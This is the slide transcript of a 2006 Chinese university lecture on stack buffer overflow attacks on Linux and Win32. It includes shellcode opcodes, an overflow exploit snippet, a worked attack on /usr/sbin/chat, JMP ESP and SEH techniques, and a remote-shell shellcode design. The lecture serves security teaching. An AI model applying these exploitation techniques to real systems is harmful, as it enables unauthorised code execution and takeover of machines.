1 / 50

缓冲区溢出攻击技术 -栈溢出攻击技术

北京大学计算机科学技术研究所. 缓冲区溢出攻击技术 -栈溢出攻击技术. XXX The Artemis Project 2006-5-31. 内容. 缓冲区溢出攻击简介 基本概念及发展历史 背景知识 (Linux & win32) 缓冲区溢出攻击的原理 栈溢出攻击如何工作? Linux: 栈溢出 , shellcode Win32: 栈溢出 , shellcode 总结. 缓冲区溢出攻击的威胁. 缓冲区溢出攻击的基本概念. 向缓冲区中填入过多的数据,超出边界 导致数据外溢,覆盖了相邻的内存空间 利用缓冲区溢出改写数据、改变程序执行流程

yetta-owen
Download Presentation

缓冲区溢出攻击技术 -栈溢出攻击技术

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. 北京大学计算机科学技术研究所 缓冲区溢出攻击技术 -栈溢出攻击技术 XXX The Artemis Project 2006-5-31

  2. 内容 • 缓冲区溢出攻击简介 • 基本概念及发展历史 • 背景知识 (Linux & win32) • 缓冲区溢出攻击的原理 • 栈溢出攻击如何工作? • Linux: 栈溢出, shellcode • Win32: 栈溢出, shellcode • 总结

  3. 缓冲区溢出攻击的威胁

  4. 缓冲区溢出攻击的基本概念 • 向缓冲区中填入过多的数据,超出边界 • 导致数据外溢,覆盖了相邻的内存空间 • 利用缓冲区溢出改写数据、改变程序执行流程 • 干扰系统运行,破坏系统完全性,任意执行恶意代码

  5. 缓冲区溢出攻击的发展历史 • 1980s • Morris蠕虫-fingerd缓冲区溢出攻击 • 1996 • Aleph One, Smashing the Stack for Fun and Profit, Phrack 49 • 1998 • Dildog: 提出利用栈指针的方法完成跳转 • The Tao of Windows Buffer Overflows • 1999 • Dark Spyrit: 提出使用系统核心DLL中的Jmp ESP指令完成跳转, Phrack 55 • M. Conover: 基于堆的缓冲区溢出教程

  6. 缓冲区溢出攻击背景知识与技巧 • 编译器、调试器的使用 • Linux: gcc+gdb • Win32: VC6.0+OllyDbg • 进程内存空间结构 • 汇编语言基本知识 • 栈的基本结构 • 函数调用过程

  7. GCC编译器基础 • 最著名的GNU的Ansi c/c++编译器 • gcc [options] [filenames] • 编译: gcc -c test.c 生成 test.o • 连接: gcc -o test test.o • 同时搞定: gcc test.c -o test • make: 用于控制编译过程 • Makefile How To

  8. GDB调试器的使用 • 断点相关指令 • break/clear, disable/enable/delete • watch –表达式值改变时,程序中断 • 执行相关指令 • run/continue/next/step • attach –调试已运行的进程 • finish/return • 信息查看相关指令 • info reg/break/files/args/frame/functions/… • backtrace –函数调用栈 • print /f exp –显示表达式的值 • x /nfu addr –显示指定内存地址的内容 • list –列出源码 • disass func –反汇编指定函数

  9. VC6.0命令行 • 环境变量 • 我的电脑-属性-高级-环境变量 • PATH: • C:\Program Files\Microsoft Visual Studio\VC98\Bin; • C:\Program Files\Microsoft Visual Studio\Common\MSDev98\Bin; • INCLUDE: • C:\Program Files\Microsoft Visual Studio\VC98\Include • LIB: • C:\Program Files\Microsoft Visual Studio\VC98\Lib • 命令行指令 • cl sourcefilename –编译并链接

  10. Win32平台调试器 • OllyDbg1.10汉化版 • 32-bit assembler level analysing debugger by Oleh Yuschuk • Free • 支持插件机制 • OllyUni: 查找跳转指令功能 • Softice • IDA Pro

  11. 背景知识-进程内存空间 0xc0000000 ESP EIP 0x80000000 Linux Win32

  12. Linux进程内存空间 • Highest zone (0xc0000000-3G) • 进程环境参数: env strings & pointers • 进程参数: argv strings & pointers, argc • 栈 • 存储函数参数、本地参数和栈状态变量 (返回地址, …) • LIFO, 向低地址增长 • 堆 • 动态分配变量 (malloc) • 向高地址增长 • .bss: uninitialized data • .data: static initialized data • .text(0x80000000): 指令, 只读数据 • Example: ./linux/memory/memory.c

  13. Win32进程内存空间 • 系统核心内存区间 • 0xFFFFFFFF~0x80000000 (4G~2G) • 为Win32操作系统保留 • 用户内存区间 • 0x00000000~0x80000000 (2G~0G) • 堆: 动态分配变量(malloc), 向高地址增长 • 静态内存区间: 全局变量、静态变量 • 代码区间: 从0x00400000开始 • 栈: 向低地址增长 • 单线程进程: (栈底地址: 0x0012FFXXXX) • 多线程进程拥有多个堆/栈 • Example: ./win32/background/memory.c

  14. 汇编语言基础知识-寄存器

  15. 汇编语言基础知识-汇编指令 • AT&T 格式与Intel 格式

  16. 栈的基本结构 • 栈-LIFO抽象数据结构 • 用于实现函数或过程调用 • 相关寄存器 • BP (Base Pointer) = FP (Frame Pointer): 当前栈底指针 • SP (Stack Pointer): 当前栈顶指针 • 相关操作 • PUSH: 压栈 • POP: 弹栈

  17. 函数调用过程 • 函数调用过程的三个步骤 • prologue: 保存当前的栈基址 (ebp). • call: 调用参数和返回地址(eip)压栈,跳转到函数入口 • return (or epilogue): 恢复调用者原有栈

  18. func ebp main ebp esp esp esp esp esp esp esp esp esp esp 函数调用过程示例 Stack frame … 2 1 Ret-add ebp retVal

  19. 缓冲区溢出攻击的本源 • 没有内嵌支持的边界保护 • User funcs • Ansi C/C++: strcat(), strcpy(), sprintf(), vsprintf(), bcopy(), gets(), scanf()… • 程序员安全编程技巧和意识 • 可执行的栈(堆) • 给出Shell或执行任意的代码

  20. 缓冲区溢出示例

  21. 栈溢出攻击的原理 • 当调用函数时 • Call指令会将返回地址(Call指令下一条指令地址)压入栈 • Ret指令会把压栈的返回地址弹给EIP • 栈溢出攻击的原理 • 通过缓冲区溢出修改栈中的返回地址 • 当函数调用返回,EIP获得被修改后的返回地址,并执行Shellcode • 挑战1: 将修改后的返回地址填到正确的位置 • 挑战2: 返回地址能正确地指向Shellcode

  22. Return add … Return add Return add Return add 栈溢出攻击示例 高地址 Para1 char shellcode[] = "\xeb\x1f\x……"; char large_string[128]; int main(int argc, char **argv){ char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer, large_string); return 0; } Para2 Return add Buffer (96bytes) shellcode i long_ptr 低地址

  23. Linux系统下的栈溢出攻击 • 栈溢出攻击 • NSR模式 • NRS模式 • R.S模式 • Shellcode • 真实世界中的栈溢出攻击

  24. NSR溢出模式 NOP … NOP NOP shellcode … RET … RET RET Low Address High Address vulnerable1.c: stackexploit1.c:

  25. RNS溢出模式 RET … RET RET NOP … NOP NOP shellcode … Low Address High Address vulnerable2. c: stackexploit2.c:

  26. R.S溢出模式-利用环境变量 RET … RET RET … shellcode FILE NULL 0xc0000000 Low Address High Address vulnerable2.c: stackexploit3.c:

  27. 栈溢出模式分析 • 挑战 • 溢出点 (在哪改写返回地址?) • Shellcode地址 (将返回地址改写成什么?) • NSR模式 • 最经典的方法 –Alpha One • 需要漏洞程序有足够大的缓冲区 • RNS模式 • 能够适合小缓冲区情况,更容易计算返回地址 • R.S模式 • 最新的方法: execve (filename, argv [], envp[]); • Ret = 0xc0000000 – 4 – strlen (FILENAME) – strlen (shellcode), 不需要任何NOP • 但对远程缓冲区溢出攻击不适用

  28. Shellcode C版本

  29. Shellcode 汇编版本 shellcode_asm.c shellcode_asm_fix.c 去除’\0’

  30. Shellcode Opcode版本 • 31 d2 xor %edx,%edx • 52 push %edx • 68 6e 2f 73 68 push $0x68732f6e • 68 2f 2f 62 69 push $0x69622f2f • 89 e3 mov %esp,%ebx • 52 push %edx • 53 push %ebx • 89 e1 mov %esp,%ecx • 8d 42 0b lea 0xb(%edx),%eax • cd 80 int $0x80

  31. 给出远程登录的Shellcode

  32. 渗透防火墙的Shellcode • fcntl设置socket状态 • scz@nsfocus • 发送OOB数据 • bkbll@cnhonke • 利用ioctl函数的FIONREAD选项 • eyas@xfocus • 文件上传下载功能

  33. 在真实Linux世界中的栈溢出攻击 • 2003/09 - /usr/sbin/chat stack overflow • 寻找溢出点 • gdb /usr/sbin/chat • (gdb) run `perl -e 'print "A" x 1056'` • * eip 0x41414141 0x41414141 • (gdb) run `perl -e 'print "A" x 1000'` • Program exited with code 03. • 返回地址 • ret=0xc0000000-strlen(shellcode)-strlen("/usr/sbin/chat")-sizeof(void *); • Here we go!(实战训练) • char *env[]={"HOME=/root",shellcode,NULL}; • for(i=1000;i<1056;i+=4) • *(long *)&buf[i]=ret; • execve(p[0],p,env); • Why not root??? - (not setuid program)

  34. Win32系统下的栈溢出攻击 • 栈溢出攻击 • 本地栈溢出示例 • 远程栈溢出攻击 • Shellcode • 真实Win32世界中的栈溢出攻击

  35. 漏洞程序

  36. 如何利用?与Linux平台有何不同? • Win32平台与Linux平台的不同之处 • 如何进行系统调用-shellcode方式不同 • Win32: 通过调用系统DLL提供的接口函数 • Linux: 通过中断进行系统调用 • 对废弃栈的处理-NSR模式不适用于Win32 • Win32: 写入一些随机的数据 • Linux: 不进行任何处理 • 进程内存空间的分布-NRS与R.S模式同样不适用于Win32 • Win32: 栈在1G以下的用户空间,地址中有空字节 • Linux: 栈在3G(0xc0000000)附近,地址中没有空字节

  37. Win32对废弃栈的处理 调用者的栈 • 如何以Shellcode地址覆盖返回地址? • NSR模式 R指向了Shellcode地址, 但执行“mov esp,ebp”恢复调用者栈信息时,Win32会在被废弃的栈中填入一些随机数据。 WE LOST SHELLCODE!!! 调用参数 返回地址 R SSSS SSSS NNNN NNNN Shellcode 地址 EBP EBP ESP 局部变量 %%%% %%%% %%%% ESP

  38. 如何以Shellcode地址覆盖返回地址? NRS模式 栈在1G(~0x00FFFFFF)以下 如果R直接指向Shellcode,则在R中必然含有空字节‘\0’. Shellcode将被截断 we lost shellcode AGAIN!! R.S模式 Win32平台无SUID机制,本地溢出没有意义 同样会由于R中含空字节被截断 Win32栈地址含有空字节 调用者的栈 地址R中含空字节 调用参数 SSSS Return address R Shellcode 地址 EBP NNNN NNNN 局部变量

  39. 如何解决? • 通过Jmp/Call ESP指令跳转 • 1998: Dildog-提出利用栈指针的方法完成跳转 • 1999: Dark Spyrit-提出使用系统核心DLL中的Jmp ESP指令完成跳转 • 跳转指令在哪? • OllyUni插件提供Overflow Return Address功能 • 代码页里的地址: 不受任何系统版本及SP影响,但受语言区域选择影响。 • 应用程序加载的用户DLL,取决于具体的应用程序,可能较通用。 • 系统未变的DLL,特定发行版本里不受SP影响,但不同语言版本加载基址可能会不同。

  40. 通过跳转指令执行Shellcode • 如何利用跳转指令让漏洞程序正确执行我们的Shellcode 0040100F |. E8 0C000000 CALL 00401014 |. 83C4 08 ADD ESP,8 00401017 |. 8BE5 MOV ESP,EBP 00401019 |. 5D POP EBP 0040101A \. C3 RETN NOW ESP POINTS TO SHELLCODE!! 调用者的栈 调用参数 SSSS ESP Return address R JMP ESP ESP EBP NNNN NNNN EBP ESP 局部变量 ESP

  41. Win32远程缓冲区溢出 • 远程缓冲区溢出演示 • 缓冲区溢出漏洞服务器端程序:server.cpp • 远程缓冲区溢出攻击代码:exploit.c • 结构化异常处理-SEH • server_seh.cpp进行了异常处理,exploit时返回前异常触发,程序流进入异常处理 • SEH保存在栈中,对其进行覆盖 • XP和2003的增强异常处理-VEH向量化异常处理 • 异常处理次序: 调试器  VEH  SEH • VEH保存在堆里 • David Litchfield: “Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server”

  42. Win32 Shellcode C语言版

  43. Win32 Shellcode 汇编语言版

  44. Win32 Shellcode Opcode版

  45. Win32完整的本地Shellcode • shellcode_asm_full.c - 三个API调用过程: • LoadLibrary("msvcrt.dll"); • system("command.com"); • exit(0); • 平台相关的API入口地址 • system() and exit() • 使用LoadLibrary()和GetProcAddress() 获取其他API函数入口地址 • GetProcAddress()和LoadLibrary()的地址可以在漏洞程序的Import Address Table找到 • GetProcAddress()和LoadLibrary()的地址对于一个特定版本的Win32平台是固定的-从Kernel32.dll中获取其地址

  46. 从Kernel32.dll获取地址 • 获取Kernel32.dll加载基址 • 从PEB(进程环境块)获取 • 获取Windows API地址 • Hash算法减少API名字长度4字节 • h=((h<<25)|(h>>7))+c • 通过PE结构e_lfanew找到PE头 • PE基址偏移0x78引出表目录指针DataDirectory,其前两个元素分别对应ExportDirectory和ImportDirectory • 引出ExportDirectory中的每个函数名称,做hash计算,与原先保存的hash值进行比较,相等则找到对应API入口地址

  47. 实用的Win32 Shellcode • Xor编码消除空字节 • 给出远程连接 • Create server and listen • Accept client connection • Create a child process to run “cmd.exe” • Create two pipes and links the shell with socket • Command: Client send >> recv Server write >> pipe2 >> stdin Cmd.exe • Output: Client recv << send Server read << pipe1 << stdout Cmd.exe

  48. 穿透防火墙的Shellcode • 端口复用技术 • 重新绑定原端口 • Getpeername查找socket • 字串匹配查找socket • Hook系统的recv调用 • 文件上传下载功能的实现

  49. 真实Win32世界中的栈溢出攻击 • DCOM RPC WIN32 remote exploit by Lordy • E:\bof_codes\win32\real>dcomrpc_magickey_win -h 127.0.0.1 -t6

  50. 总结 • 缓冲区溢出攻击的基本简介 • 背景知识 • 基本概念 • 发展历史 • 基本原理 • Linux平台下的栈溢出攻击 • Win32平台下的栈溢出攻击

More Related